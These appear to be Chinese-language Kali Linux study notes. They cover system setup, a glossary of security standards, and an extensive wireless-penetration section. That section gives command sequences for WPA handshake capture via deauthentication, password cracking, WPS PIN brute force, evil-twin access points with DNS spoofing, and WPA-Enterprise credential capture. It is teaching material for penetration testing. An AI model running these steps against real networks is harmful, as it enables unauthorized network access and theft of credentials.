大纲

++++

++++

! Kali初始化

* 网络配置

# 临时配IP

  1. dhclient eth0 (DHCP)
  2. ifconfig eth0 192.168.1.11/24
  3. route add default gw 192.168.1.1
  4. netstat -nr (查看路由)
  5. echo nameserver 192.168.1.1 > /etc/resolv.conf

# 固定IP

  1. cat /etc/network/interfaces
  2. auto eth0
  3. iface eth0 inet static(dhcp)
  4. address 192.168.20.1
  5. netmask 255.255.255.0
  6. network 192.168.20.0
  7. broadcast 192.168.20.255
  8. gateway 192.168.20.2
  9. dns-nameservers 192.168.1.1 192.168.1.2
  10. up route add -net 172.16.5.0/24 gw 192.168.10.100 eth1
  11. down route del -net 172.24.0.0/24

# 开启路由转发

  1. cat /proc/sys/net/ipv4/ip_forward
  2. 1 代表转发, 0 代表不转发

* 更新

# APT

  1. vim /etc/apt/source.list
  2. apt-get update
  3. apt-get upgrade
  4. apt-get dis-upgrade
  5. 通过代理apt更新 echo 'Acquire::http::Proxy "http://127.0.0.1:8087";' > /etc/apt/apt.conf

# 源

  1. # Kali 2019
  2. #中科大
  3. deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
  4. deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
  5. #阿里云
  6. deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
  7. deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
  8. #清华大学
  9. deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
  10. deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
  11. #浙大
  12. deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
  13. deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
  14. #东软大学
  15. deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
  16. deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
  17. #官方源
  18. deb http://http.kali.org/kali kali-rolling main non-free contrib
  19. deb-src http://http.kali.org/kali kali-rolling main non-free contrib
  20. #重庆大学
  21. deb http://http.kali.org/kali kali-rolling main non-free contrib
  22. deb-src http://http.kali.org/kali kali-rolling main non-free contrib

# ubuntu1604源

  1. #ubuntu 官方源
  2. deb http://archive.ubuntu.com/ubuntu/ gutsy main restricted universe multiverse
  3. deb http://archive.ubuntu.com/ubuntu/ gutsy-security main restricted universe multiverse
  4. deb http://archive.ubuntu.com/ubuntu/ gutsy-updates main restricted universe multiverse
  5. deb http://archive.ubuntu.com/ubuntu/ gutsy-proposed main restricted universe multiverse
  6. deb http://archive.ubuntu.com/ubuntu/ gutsy-backports main restricted universe multiverse
  7. deb-src http://archive.ubuntu.com/ubuntu/ gutsy main restricted universe multiverse
  8. deb-src http://archive.ubuntu.com/ubuntu/ gutsy-security main restricted universe multiverse
  9. deb-src http://archive.ubuntu.com/ubuntu/ gutsy-updates main restricted universe multiverse
  10. deb-src http://archive.ubuntu.com/ubuntu/ gutsy-proposed main restricted universe multiverse
  11. deb-src http://archive.ubuntu.com/ubuntu/ gutsy-backports main restricted universe multiverse
  12. #阿里云
  13. deb http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse
  14. deb http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse
  15. deb http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse
  16. deb http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse
  17. deb http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse
  18. deb-src http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse
  19. deb-src http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse
  20. deb-src http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse
  21. deb-src http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse
  22. deb-src http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse
  23. #网易163
  24. deb http://mirrors.163.com/ubuntu/ trusty main restricted universe multiverse
  25. deb http://mirrors.163.com/ubuntu/ trusty-security main restricted universe multiverse
  26. deb http://mirrors.163.com/ubuntu/ trusty-updates main restricted universe multiverse
  27. deb http://mirrors.163.com/ubuntu/ trusty-proposed main restricted universe multiverse
  28. deb http://mirrors.163.com/ubuntu/ trusty-backports main restricted universe multiverse
  29. deb-src http://mirrors.163.com/ubuntu/ trusty main restricted universe multiverse
  30. deb-src http://mirrors.163.com/ubuntu/ trusty-security main restricted universe multiverse
  31. deb-src http://mirrors.163.com/ubuntu/ trusty-updates main restricted universe multiverse
  32. deb-src http://mirrors.163.com/ubuntu/ trusty-proposed main restricted universe multiverse
  33. deb-src http://mirrors.163.com/ubuntu/ trusty-backports main restricted universe multiverse
  34. 放置非官方源的包不完整,可在尾部添加官方源
  35. deb http://archive.ubuntu.org.cn/ubuntu-cn/ feisty main restricted universe multiverse

* ssh

  1. vi /etc/ssh/sshd_config
  2. UsePrivilegeSeparation yes
  3. PermitRootLogin yes #(default prohibit-password)
  4. #AllowUsers admin
  5. #DenyUsers hacker

* smb服务

  1. root@kali:~# smbpasswd -a root
  2. New SMB password:
  3. Retype new SMB password:
  4. root@kali:~# vi /etc/samba/smb.conf
  5. 在/etc/samba/smb.conf末尾追加
  6. [share]
  7. path=/root
  8. writable=yes
  9. public=yes
  10. valid users=root
  11. root@kali:~# service smbd start
  12. windows访问\\ip,按照提示输入用户名密码

* DHCP服务

  1. apt-get install isc-dhcp-server
  2. cat /etc/dhcp/dhcpd.conf
  3. option domain-name-servers 10.0.0.1;
  4. default-lease-time 60;
  5. max-lease-time 72;
  6. ddns-update-style none;
  7. authoritative;
  8. log-facility local7;
  9. subnet 10.0.0.0 netmask 255.255.255.0 {
  10. range 10.0.0.100 10.0.0.254;
  11. option routers 10.0.0.1;
  12. option domain-name-servers 10.0.0.1;
  13. }

* 并发线程限制

  1. Ulimite⽤用于限制当前 shell 内进程的资源使⽤用
  2. # 查看默认值
  3. Ulimite a
  4. # 全局配置⽂文件 :/etc/security/limits
  5. <domain> <type> <item> <value>
  6. # ⽤用途距离
  7. 限制⽂文件块⼤大⼩小:ulimit s 100
  8. 限制shell内存使⽤用:ulimit -m 5000 -v 5000
  9. # 没有直接对socket数量的限制参数
  10. Linux系统中⼀一切都是⽂文件,运⾏行中的⽂文件叫做进程
  11. ulimite n 800000

* 安装显卡驱动

# GPU

  • Nvidia
  • Ati

# Nvidia驱动安装

  1. apt-get update
  2. apt-get dist-upgrade
  3. apt-get install -y linux-headers-$(uname -r)
  4. apt-get install nvidia-kernel-dkms
  5. sed 's/quiet/quiet nouveau.modeset=0/g' -i /etc/default/grub
  6. update-grub
  7. reboot

# 验证

  1. glxinfo | grep -i "direct rendering“
  2. direct rendering: Yes

* 无线网卡补丁

最新版内核已经集成⽆无线驱动补丁

如果你在使⽤用⽼老版本内核

  1. cd /usr/src/
  2. wget https://www.kernel.org/pub/linux/kernel/projects/backports/stable/v3.12/backports-3.12-1.tar.bz2
  3. tar xvf backports-3.12-1.tar.bz2 (替换高亮文字为当前内核版本 uname -r
  4. cd backports-3.12-1
  5. apt-get install patch
  6. wget http://patches.aircrack-ng.org/mac80211.compat08082009.wl_frag+ack_v1.patch
  7. patch -p1 < mac80211.compat08082009.wl_frag+ack_v1.patch
  8. apt-get install libncurses5-dev
  9. airmon-ng (查看驱动)
  10. make defconfig-ath9k
  11. make && make install

* 开机自启动服务

  1. 手动启动服务 /etc/init.d/ssh start
  2. 自动启动服务 update-rc.d ssh defaults
  3. 删除自启动服务 update-rc.d -f xxx remove

* 安装中文输入法

  1. apt-get install fcitx-googlepinyin
  2. # 配置输入法
  3. im-config
  4. reboot
  5. ctrl+空格 进行输入法的切换

* 中文显示乱码安装字体文件

  1. 选择默认显示文字
  2. dpkg-reconfigure locales
  3. 进入图形界面,选中en_US.UTF-8 UTF-8zh_CN.UTF-8 UTF-8,并将en_US.UTF-8选为默认。
  4. 需要重启
  5. apt-get install fonts-wqy-microhei fonts-wqy-zenhei xfonts-wqy
  6. 使用 gnome-tweak-tool 配置字体(apt-get install gnome-tweaks)

* Kali包含工具列表

https://tools.kali.org/tools-listing

! 术语表

* 安全内容自动化协议 (SCAP)

Security Content Automation Protocol

  • 安全内容自动化协议 (SCAP) 是表达和操控安全数据的一组标准。它是美国政府强制要求的内容并由美国国家标准与技术研究所 National Institute of Standards and Technology (NIST) 维护。SCAP是当前美国比较成熟的一套信息安全评估标准体系,其标准化、自动化的思想对信息安全行业产生了深远的影响。

SCAP集合了多种安全标准框架

  • 六个元素:CVE、OVAL、CCE、CPE、 CVSS、XCCDF

主要解决3个问题

  1. # 实现高层政策法规等到底层实施的落地(如FISMA,ISO27000系列)
  2. # 将信息安全所涉及的各个要素标准化(如统一漏洞的命名及严重性度量)
  3. # 将复杂的系统配置核查工作自动化

* 通用配置枚举 (CCE)

Common Configuration Enumeration

  • 通用配置枚举 (CCE) 是用于将称为 CCE 的唯一标识符分配到配置控件中的标准,以便在不同环境中使这些控件的标识一致。CCE 是作为未认证扫描器产品的 SCAP 标准合规的一部分而实现。
  • 可以让配置缺陷以标准的方式展现出来,便于配置缺陷评估的可量化操作

* 通用平台枚举 (CPE)

Common Platform Enumeration

  • 通用平台枚举 (CPE) 是用于识别操作系统和软件应用程序的方法。其命名机制系基于统一资源标识符 (URI) 的通用语法。CCE 是作为未认证扫描器产品的 SCAP 标准合规的一部分而实现。

* 公共漏洞和暴露 (CVE)

Common Vulnerabilities and Exposures

  • 公共漏洞和暴露 (CVE) 标准规定了本应用程序识别漏洞的方式,使安全产品之间交换漏洞数据更容易。CVE 是作为未认证扫描器产品的 SCAP 标准合规的一部分而实现。

Vulnerability Reference 脆弱性参考

  • MITRE公司负责维护(非盈利机构)

流程:发现漏洞 - CAN负责指定CVE ID - 发布到CVE List - MITRE负责对内容进行编辑维护

  • 厂家自己维护的Vulnerability Reference,如微软 MS,MSKB

* 通用漏洞评分系统 (CVSS)

Common Vulnerability Scoring System

  • 通用漏洞评分系统 (CVSS) 是用于计算漏洞风险评分的开放框架。CVSS 是作为未认证扫描器产品的 SCAP 标准合规的一部分而实现。

描述安全漏洞严重程度的统一评分方案

  • V3版本——2015年6月10日

Basic Metric:基础的恒定不变的弱点权重

  • Temporal Metric:依赖时间因素的弱点权重

Enviromental Metric:利用弱点的环境要求和实施难度的权重

  • 通常CVSS与CVE统一由美国国家漏洞库(NVD)发布并保持数据的更新

CVSS体现弱点的风险,威胁级别(severity)表示弱点风险对企业的影响程度

  • CVSS分值是工业标准,但威胁级别不是

* 开放式漏洞和评估语言 (OVAL)

Open Vulnerability and Assessment Language

  • 开放式漏洞和评估语言 (OVAL) 是用于收集和共享安全相关数据的开发标准,例如 FDCC 政策检查。按照 FDCC 要求,本应用程序在配置政策检查过程中导入的每个 OVAL 文件均可在安全控制台网页界面的 SCAP 页面下载。

Vulnerability Reference 脆弱性参考

  • 描述漏洞检测方法的机器可识别语言

详细的描述漏洞检测的技术细节,可导入自动化检测工具中实施漏洞检测工作

  • OVAL使用XML语言描述,包含了严密的语法逻辑

* 观点证明 (POC)

Proof of Concept

  • 中文意思是“观点证明”。这个短语会在漏洞报告中使用,漏洞报告中的POC则是一段说明或者一个攻击的样例,使得读者能够确认这个漏洞是真实存在的。

* 漏洞利用程序 (EXP)

Exploit

  • 漏洞利用程序会尝试通过安全缺陷或漏洞渗透网络或获取访问电脑权。恶意漏洞利用程序可能造成系统紊乱或数据被盗。渗透试验器只使用良性漏洞利用程序用于验证漏洞是否存在。Metasploit 产品是执行良性利用漏洞的工具。

* 漏洞披露 Exposure

  • An exposure is a vulnerability, especially one that makes an asset susceptible to attack via malware or a known exploit.
  • Exposure为一种漏洞,特别指使资产易通过恶意软件或已知漏洞利用程序被攻击的漏洞。

* 美国政府配置基准 (USGCB)

United States Government Configuration Baseline

  • 美国政府配置基准 (USGCB) 是创建安全配置基准的方案,适用于在美国政府机构内部署的信息技术产品。USGCB 从 FDCC 演化而来,代替其成为强制要求在美国政府内实施的配置安全方案。政策管理器提供 Microsoft Windows 7、Windows 7 防火墙和 Internet Explorer 是否合规 USGCB 基准的检查。执行这些检查需要可启用政策管理器功能和 USGCB 扫描的许可证。

* 联邦桌面核心配置 (FDCC)

Federal Desktop Core Configuration

  • 联邦桌面核心配置 (FDCC) 是按美国国家标准与技术研究所 (NIST) 为直接连接至美国政府机构网络的电脑建议的配置安全设置的分组。政策管理器提供在扫描模板中是否合规这些政策的检查。执行这些检查需要可启用政策管理器功能和 FDCC 扫描的许可证。

! 无线渗透

* IEEE 802

Kali Linux - 图1

* IEEE 802.11标准

# IEEE 802.11

  • 发布于1997年
  • 速率1Mbps 或 2Mbps
  • 红外线传输介质(未实现)
  • 无线射频信号编码(调制)(radio frequencies)
  • Direct-Sequence Spread-Spectrum (DSSS)——直序扩频
  • Frequency Hopping Spread-Spectrum (FHSS)——跳频扩频
  • 媒体访问方式——CSMA/CA ——> CSMA--百度百科 CSMA/CD--百度百科 CSMA/CA--百度百科
  • Request to Send / Clear to Send (RTS/CTS)
  1. # 802委员会下第11组负责开发无限局域网标准
  2. IEEE 802.1 1 The Original WLAN Standard 1 Mbit/s and 2 Mbit/w, 2.4 GHz RF and IR
  3. IEEE 802.11a 54 Mbit/s, 5 GHz
  4. IEEE 802.11b 802.11 Enhancements to Support 5.5 Mbit/s and 11 Mbit/s
  5. IEEE 802.11c Bridge Operation Procedures
  6. IEEE 802.11d International (Country to Country) Roaming Extensions
  7. IEEE 802.11 e Quality of Service ( QoS ), Including Packet Bursting
  8. IEEE 802.11F Inter -Access Point Protocol
  9. IEEE 802.11g 54 Mbit/s, 2.4 GHz
  10. IEEE 802.11h Spectrum Managed 802.11a (5 GHz) for European Compatibility
  11. IEEE 802.11i Enhanced Security
  12. IEEE 802.11j Extensions for Japan
  13. IEEE 802.11k Radio Resource Measurement Enhancements
  14. IEEE 802.11n Higher Throughput Using Multiple Input, Multiple Output (MIMO) Antennas
  15. IEEE 802.11p Wireless Access for the Vehicular Environment (WAVE)
  16. IEEE 802.11r Fast BSS Transition (FT)
  17. IEEE 802.11s Mesh Networking, Extended Service Set (ESS)
  18. IEEE 802.11T Wireless Performance Prediction (WPP)
  19. IEEE 802.11u Internetworking with Non -802 Networks ( i.e. : Cellular)
  20. IEEE 802.11v Wireless Network Management
  21. IEEE 802.11w Protected Management Frames
  22. IEEE 802.11y 3650 3700 MHz Operation in the US
  23. IEEE 802.11z Direct Link Setup (DLS) Extensions
  24. IEEE 802.11mb Maintenance of the Standard
  25. IEEE 802.11aa Robust Streaming of Audio Video Transport Streams
  26. IEEE 802.11ac Very High Throughput < 6 GHz
  27. IEEE 802.11ad Very High Throughput, 60 GHz
  28. IEEE 802.11ae QoS Management
  29. IEEE 802.11af TV Whitespace
  30. IEEE 802.11ah Sub 1 GHz
  31. IEEE 802.11ai Fast Initial Link Setu

# c=b+log2(1+s/n)

  1. c=b+log2(1+s/n)
  2. c 传输数据量
  3. b 无线频宽
  4. s 信号强度
  5. n 噪声

# IEEE802.11b

  • Complementary Code Keying (CCK)——补充代码键 ——> CCK#百度百科
    • 5.5 and 11Mbit/s
    • 2.4GHz band (2.4GHz – 2.485GHz)
    • 14个重叠的信道channels
    • 每个信道22MHz带宽
    • 只有三个完全不重叠的信道

美国 –1 to 11 (2.412 GHz – 2.462 GHz)

欧洲 –1 to 13 (2.412 GHz – 2.472 GHz)

日本 –1 to 14 (2.412 GHz – 2.484 GHz)

|Kali Linux - 图2

# IEEE 802.11a

  • 使用5GHz带宽

2.4GHz带宽干扰源多(微波、蓝牙、无蝇电话)

  • 5GHz频率有更多带宽空间,可容纳更多不重叠的信道

信号调制方法:Orthogonal Frequency-Division Multiplexing(OFDM)

更高速率54Mbps,每个信道20MHz带宽

  • 变频

  • 5.15-5.35GHz 室内
  • 5.7-5.8GHz 室外

# IEEE 802.11g

  • 2.4GHz 频率
  • 信号调制方法Orthogonal Frequency-Division Multiplexing (OFDM)
  • 与802.11a速率相同
  • 可全局降速后向后兼容802.11b并切换为CCK信号调制方法
  • 每个信道20/22MHz带宽

# IEEE 802.11n

  • 2.4或5 GHz频率
    • 300Mbps 最高600Mbps
    • Multiple-Input Multiple-Output (MIMO) 多进多出通信技术
    • 多天线、多无线电波、独立收发信号
    • 可以使用40MHz信道带宽是数据传输速率翻倍
  • 全802.11n设备网络中,可以使用新报文格式,使速率达到最大
  • 每个信道20/40MHz带宽

* 无线网络运行模式

# 无线网络架构

Infrastructure
  • AP维护SSID

至少包含一个AP和一个STATION,形成一格Basic Service Set (BSS)

  • AP连接到有线网络,称为Distribution System(DS)

连接到同一个DS的多个AP形成一格Extended Service Set(ESS)

|Kali Linux - 图3

Ad-Hoc
  • STA维护SSID

也被称为Independent Basic Service Set(IBSS)独立基本服务

  • 有至少2个STAs直接通信组成

Peer to Peer

  • 其中一格STA负责AP的工作

  • 通过Beacon广播SSID
  • 对其他STAs进行身份认证

Service Set Identifier(SSID)
  • AP每秒约10次通过Beacon帧广播SSID
  • 客户端连接到无线网络后也会宣告SSID

Monitor Mode
  • 允许无线网卡没有任何筛选的抓包(802.11包头)
  • 类似于有线网络的混杂模式
  • 适合的网卡和驱动不但可以monitor,还可以injection

* 无线网卡配置

  1. ifconfig
  2. iwconfig
  3. iwlist
  4. iwlist wlan0 scanning 扫描周围SSID
  5. iw dev wlan2 scan | egrep "DS\ Parameter\ set|SSID" 过滤SSID的信道
  6. iw list
  7. Supported interface modes:
  8. IBSS
  9. managed
  10. AP
  11. AP/VLAN
  12. monitor
  13. mesh point
  14. 修改网卡工作的信道
  15. iw dev wlan0mon set channel 8
  16. 添加删除侦听端口
  17. service network-manager stop
  18. iw dev wlan2 interface add wlan2mon type monitor
  19. tcpdump -s 0 i wlan2mon -p
  20. iw dev wlan2mon interface del

* AIRCRACK-NG SUITE

  • 网络探测
  • 嗅探抓包
  • 包注入
  • 密码破解

# airmon-ng 网卡侦听

  1. airmon-ng 检查网卡驱动、chipset
  2. airmon-ng check 检查冲突程序(kill
  3. 开启/关闭 网卡侦听模式
  4. 首先需要停止网络管理服务,防止冲突 service network-manager stop/start
  5. airmon-ng start wlan0
  6. iw dev wlan0 interface add wlan0mon type monitor
  7. iwlist wlan0mon channel 查看侦听网卡工作的信道
  8. airmon-ng stop wlan0mon && ifconfig wlan0 up

# airodump-ng 无线抓包

无线抓包

Kali Linux - 图4

  1. BSSIDAPMAC地址
  2. PWR:网卡接收的信号强度,距离越近信号越强
  3. -1:驱动不支持信号强度,STA距离超出信号接收范围
  4. RXQ:最近10秒成功接收的数据帧的百分比(数据帧、管理帧),只有固定信道时才会出现
  5. Beacons:接收到此AP发送的beacon帧数量
  6. #Data:抓到的数据帧数量(WEP表示IV数量),包含广播数据帧
  7. #/s:最近10秒内,每秒平均抓到的帧的数量
  8. CH:信号道(从beacon帧中获得),信道重叠时可能发现其他信道
  9. MBAP支持的最大速率
  10. ENC:采用的无线安全技术 WEPWPAWPA2OPEN
  11. CIPHER:采用的加密套件 CCMPTKIPWEP40WEP104
  12. AUTH:身份认证方法 MGTSKAPSKOPEN
  13. ESSID:无线网络名称,隐藏AP此值可能为空,airodumpprobeassociation request帧中发现隐藏AP
  14. STATIONSTAMAC地址
  15. Lost:通过sequence number判断最近10STA发送丢失的数据包数量(管理帧、数据帧)
  16. 干扰、距离
  17. 发包不能接收、收包不能发
  18. FrameSTA发送的数据包数量
  19. ProbesSTA探测的ESSID

airodump-ng wlan0mon
  1. -c 1 // 指定信道,只抓1信道
  2. -bssid 00:11:22:33:44:55 // 指定APmac,只抓某个SSID
  3. -w file.cap // 输出为文件
  4. -ivs // 只抓ivs

airodump-ng 排错
  • 不显示任何AP和STA信息

  • 物理机场景下使用笔记本内置无线网卡时,确保BIOS中已启用无线网卡
  • 确认无线网卡在managed模式下可以正常工作
  • 尝试禁用network-manager服务
  • 尝试卸载rmmod和重新加载modprobe驱动

工作一段时间后airodump-ng无法继续抓包

  • airmon-ng check kill 检查冲突的程序并且kill
  • 确认wpa_supplicant进程已停止

# aireplay-ng

aireplay-ng排错
  • 信道
  • 报错“write failed: Cannot allocate memory wi_write(): illegal seek” —> 替换b43驱动
  • 注入速度慢 提示“rtc: lost some interrupts at 1024Hz”—-> 启用多个aireplay-ng提高速度
  • 伪造mac地址 —-> macchanger 00:00:00:00:00:11 wlan0mon

# aircrack-ng 握手包密码爆破

  1. aircrack-ng -w /usr/share/john/password.lst wpa-01.cap

# airdecap-ng 解密pcap

  • 去除802.11头

  1. airdecap-ng -b <AP MAC> 1.pcap
  • 解密WEP加密数据

  1. airdecap-ng -w <WEP key> -b <AP MAC> 1.pcap
  2. 必须有与AP建立关系
  • 解密WPA加密数据

  1. airdecap-ng -e Aslan-Wifi -p <PSK> -b <AP MAC> 1.pcap
  2. 抓包文件中必须包含4步握手信息,否则无解

# airserv-ng 服务侦听

  • 通过网络提供无线网卡服务器

启动无线侦听

  • 服务器端

  1. airserv-ng -p 3333 -d wlan0mon
  • 客户端

  1. airodump-ng 192.168.1.1:3333

# airtun-ng 中继重放

  • 无线入侵检测wIDS

无线密码和BSSID

  • WPA需要获取四步握手信息

演示

  1. WEP: airtun-ng -a <AP MAC> -w SKA wlan0mon
  2. WPA: airtun-ng -a <AP MAC> -p PSK -e Aslan-Wifi wlan0mon
  3. ifconfig at0 up
  • 中继和重放

Repeate(实时)/ Replay

  • Repeate

扩展无线侦听的距离

  • 要求两块网卡都置入monitor模式

  1. airtun-ng -a <AP MAC> --repeat --bssid <AP MAC> -i wlan0mon wlan2mon
  2. wlan0mon:收包的网卡
  3. wlan2mon:发包的网卡
  4. -a:发包的源地址
  5. --bssid:过滤只发指定源地址的包(可选)
  • Replay

  1. 将抓取的CAP文件重放到指定网卡
  2. airtun-ng -a <Source MAC> -r 1.cap <Interface>

# airolib 破解密码

  • ESSID + PSK —-> PMK

SQLite数据库

  • 破解过程

  1. # 创建essid文件
  2. echo Aslan-Gee > essid.txt
  3. # 创建db数据库,导入essid文件
  4. airolib-ng db --import essid ./essid.txt
  5. # 导入密码字典文件
  6. airolib-ng db --import passwd /usr/share/wordlists/rockyou.txt
  7. # 查看数据库状态
  8. airolib-ng db --stats
  9. # 用字典PSK创建PMK
  10. airolib-ng db --batch
  11. # 破解握手包
  12. aircrack-ng -r db wpa.cap

# JTR 破解密码

  1. John the ripper
  2. $特点 :根据规则动态生成字典,直接调用不占用硬盘空间
  3. 命令 #john
  4. 配置文件 /etc/john/john.conf
  5. 在[List.Rules:Wordlist]后添加规则 $[0-9]$[0-9]$[0-9]
  6. 查看输出的密码 john --wordlist=password.lst --rules --stdout | grep -i 12345678
  7. 破解调用JTR john --wordlist=pass.list --rules --stdout | aircrack-ng -e Aslan-Gee -w - wpa.cap

# COWPATTY 破解密码

  1. WPA密码通用破解工具
  2. 使用密码字典破解
  3. cowpatty -r wpa.cap -f password.lst -s Aslan-Gee
  4. 使用彩虹表(PMK
  5. genpmk -f password.lst -d pmkhash -s kifi
  6. cowpatty -r wpa.cap -d pmkhash -s kifi

# PYRIT 破解密码

  • 特性

  • 支持基于预计算的PMK提高破解速度(与airolib、cowpatty相同)

  • 可以使用GPU计算能力加速生成PMK
  • 本身支持抓取四步握手过程,无需airodump抓包
  • 也支持读取airodump的四步握手包

抓握手信息(.cap)并分析

  1. pyrit -r wlan2mon -o wpapyrit.cap stripLive //(stripLive只保留握手包)
  2. pyrit -r wpapyrit.cap analyze
  • 使用密码字典破解

  1. pyrit -r wpapyrit.cap -i /usr/share/wordlists/rockyou.txt -b <AP MAC> attack_passthrough
  • 数据库模式破解

  1. 默认使用基于文件的数据库,支持连接SQL数据库
  2. 查看默认数据库状态: pyrit eval
  3. 导入密码字典文件:pyrit -i /usr/share/wordlists/rockyou.txt import_passwords // 剔除了不合规的密码
  4. 指定ESSIDpyrit -e Aslan-Gee create_essid
  5. 计算PMKpyrit batch // ( 使用GPU )
  6. 破解密码:pyrit -r wpapyrit.cap -b <AP MAC> attack_db

# besside-ng

  1. 网络破解
  2. -b <victim mac> : Victim BSSID
  3. -s <WPA server> : Upload wpa.cap for cracking

# fern-wifi-cracker 图形化界面

  • 使用aircrack-ng 套件

* wifite

  • 综合自动化无线密码破解工具

* WPA PSK攻击

  • PSK破解过程

启动monitor

  • 开始抓包并保存

Deauthentication攻击获取4步握手信息

  • 使用字典暴力破解

过程演示

  1. # 网卡侦听3部曲
  2. service network-manager stop
  3. airmon-ng checke kill
  4. airmon-ng start wlan0
  • 抓包保存文件
  1. airodump-ng -bssid D4:EE:07:40:51:F4 -c 8 wlan0mon -w wpa
  2. # 抓不到握手信息的话手动解除client认证,直到抓到握手信息为止
  3. aireplay-ng -0 2 -a D4:EE:07:40:51:F4 -c 64:80:99:D7:FA:0F wlan0mon
  • 使用密码字典破解wpa的握手包wpa.cap

  1. aircrack-ng -w /usr/share/john/password.lst wpa-01.cap

* WPS攻击

  • 启动侦听模式后,发现支持WPS的AP

  1. wash -F -i wlan0mon
  2. airodump-ng wlan0mon --wps
  • 爆破PIN码

  1. reaver -i wlan0mon -b <AP mac> -vv
  • 秒破PIN码

利用厂商芯片漏洞

  1. pixiewps
  2. reaver -i wlan0mon -b <AP mac> -vv -K 1
  • 使用PIN码得到PSK

  1. reaver -i wlan0mon -b <AP mac> -vv -p 88888888

* EVIL TWIN AP / ROGUE AP

# airebase-ng 创建伪造SSID

  1. # 创建流氓热点
  2. airbase-ng -a <AP mac> -P -C 30 --essid H4ckerWifi -c 11 wlan0mon
  3. # 安装DHCP服务
  4. # 安装网卡桥接工具,添加网桥
  5. apt-get install bridge-utils
  6. brctl addbr HackBridge
  7. brctl addif HackBridge eth0
  8. brctl addif HackBridge at0
  9. # 配置接口与桥接接口
  10. ifconfig eth0 0.0.0.0 up
  11. ifconfig at0 0.0.0.0 up
  12. ifconfig HackBridge 192.168.1.10 up
  13. # 配置路由
  14. route add -net 0.0.0.0 netmask 0.0.0.0 gw 192.168.1.1
  15. # 配置IP转发
  16. echo 1 > /proc/sys/net/ipv4/ip_forward
  17. # DNS欺骗
  18. dnspoof -i bridge -f dnsspoof.hosts
  19. cat /usr/share/dsniff/dnsspoof.hosts
  20. # 伪造页面
  21. apachet2ctl start

# 3viTwinAttacker 工具

  • 集成evil twin ap工具集

安装3viTwinAttacker工具

  1. git clone https://github.com/P0cL4bs/3vilTwinAttacker.git
  2. cd 3vilTwinAttacker
  3. chmod +x installer.sh
  4. ./installer.sh --install

* WPA 企业攻击

# hostapd-wpe 工具安装

  1. 安装hostapd-wpe补丁: git clone https://github.com/OpenSecurityResearch/hostapd-wpe
  2. apt-get install libssl-dev libnl-dev libnl1
  3. libnl1libnl-dev包不在kali2.0官方库中所以需要手动安装
  4. wget http://ftp.debian.org/debian/pool/main/libn/libnl/libnldev_1.1-7_amd64.deb
  5. wget http://ftp.debian.org/debian/pool/main/libn/libnl/libnl1_1.1-7_amd64.deb
  6. dpkg -i libnl1_1.1-7_amd64.deb
  7. dpkg -i libnl-dev_1.1-7_amd64.deb
  8. wget http://hostap.epitest.fi/releases/hostapd-2.2.tar.gz
  9. tar -zxf hostapd-2.2.tar.gz
  10. cd hostapd-2.2
  11. patch -p1 < ../hostapd-wpe/hostapd-wpe.patch
  12. cd hostapd
  13. make

# 生成证书并修改配置文件

  1. cd ../../hostapd-wpe/certs
  2. ./bootstrap
  3. vim ../../hostapd-2.2/hostapd/hostapd-wpe.conf

|Kali Linux - 图5

  1. # service network-manager stop
  2. airmon-ng check kill
  3. 映射无线网卡
  4. ifconfig wlan2 up
  5. # 启动伪造AP
  6. cd ../../hostapd-2.2/hostapd
  7. ./hostapd-wpe hostapd-wpe.conf
  8. # 用户连接伪造热点后,抓取到challenge和response,然后使用asleap破解密码
  9. asleap -C challenge -R response -W <Dictionary_File>

* 无线侦查

  1. # 使用kismet获取gps信息,导入谷歌地球地图
  2. kismet
  3. apt-get install gpsd gpsd-client
  4. gpsd -n -N -D4 /dev/ttyGPS0
  5. giskismet -x Kismet-20190627.netxml
  6. giskismet -q "select * from wireless" -o asd.kml
  7. # 安装谷歌地球
  8. http://dl.google.com/dl/earth/client/current/google-earthstable_current_amd64.deb
  9. dpkg -i google-earth64.deb
  10. apt-get -f install
  11. # 用谷歌地球打开查看侦查点
  12. Google Earth open asd.kml

! Metasploit

* 渗透测试标准

  • 安全测试方法学开源手册

NISP SP800-42网络安全测试指南

  • OWASP十大Web应用安全威胁项目

Web安全威胁分类标准

  • PTES渗透测试执行标准

http://www.pentest-standard.org/index.php/Main_Page

https://www.jianshu.com/p/92dfdbe8bb8a

* PTES标准 渗透测试流程

# 前期交互阶段(Pre-Engagement Interaction)

  • 渗透测试范围、目标、限制条件、服务合同
  • 收集客户需求、准备测试计划、定义测试范围、定义业务目标

# 情报搜集阶段(Information Gathering)

  • 公开信息查询
  • Google Hacking
  • 社会工程学
  • 网络踩点
  • 扫描探测
  • 被动监听
  • 服务查点

+++

  • 基础信息
  • 系统信息
  • 应用信息
  • 版本信息
  • 服务信息
  • 人员信息
  • 防护信息

# 威胁建模阶段(Threat Modeling)

  • 情报分析、攻击路径

# 漏洞分析阶段(Vulnerability Analysis)

  • 结合安全漏洞扫描结果和服务查点信息
  • 针对关键系统服务进行漏洞挖掘

+++

  • 系统漏洞
  • WebServer漏洞
  • Web应用漏洞
  • 其他端口服务漏洞
  • 通信安全

# 渗透攻击阶段(Exploitation)

  • 利用目标漏洞,入侵系统,获得访问控制权

+++

漏洞验证:

  • 自动化验证
  • 手工验证
  • 试验验证
  • 登录猜解
  • 业务漏洞验证
  • 公开资源利用

+++

信息分析:

  • 精准打击
  • 绕过防御机制
